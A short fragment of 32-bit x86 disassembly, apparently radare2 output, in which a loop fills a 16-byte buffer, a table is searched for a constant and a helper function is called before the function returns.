add edx, edx
sub eax, edx
add eax, 0x2c7950c1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov ecx, eax
xor ecx, 0xb8
and eax, 0x38
lea eax, [ecx + eax*2]
inc al
mov ecx, dword [esp]
mov byte [esp + ecx + 0x28], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x10
jb 0x43d4b0
mov edi, dword [esp + 0x28]
mov eax, dword [0x449d18]
test eax, eax
je 0x43d545
xor ecx, ecx
mov edx, dword [0x449d1c]
nop
nop
nop
cmp dword [edx + ecx*8], 0xb5b385c7
je 0x43d520
inc ecx
cmp eax, ecx
jne 0x43d510
jmp 0x43d545
mov eax, dword [edx + ecx*8 + 4]
cmp eax, edi
je 0x43d545
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push ecx
push edx
push 2
push dword [0x449d20]
push eax
call fcn.0043ab10
add esp, 0x14
mov edi, eax
push esi
call fcn.00409280
add esp, 4
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x43d55b
mov eax, dword [esp + 0x48]
mov dword [ecx], eax
mov eax, edi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret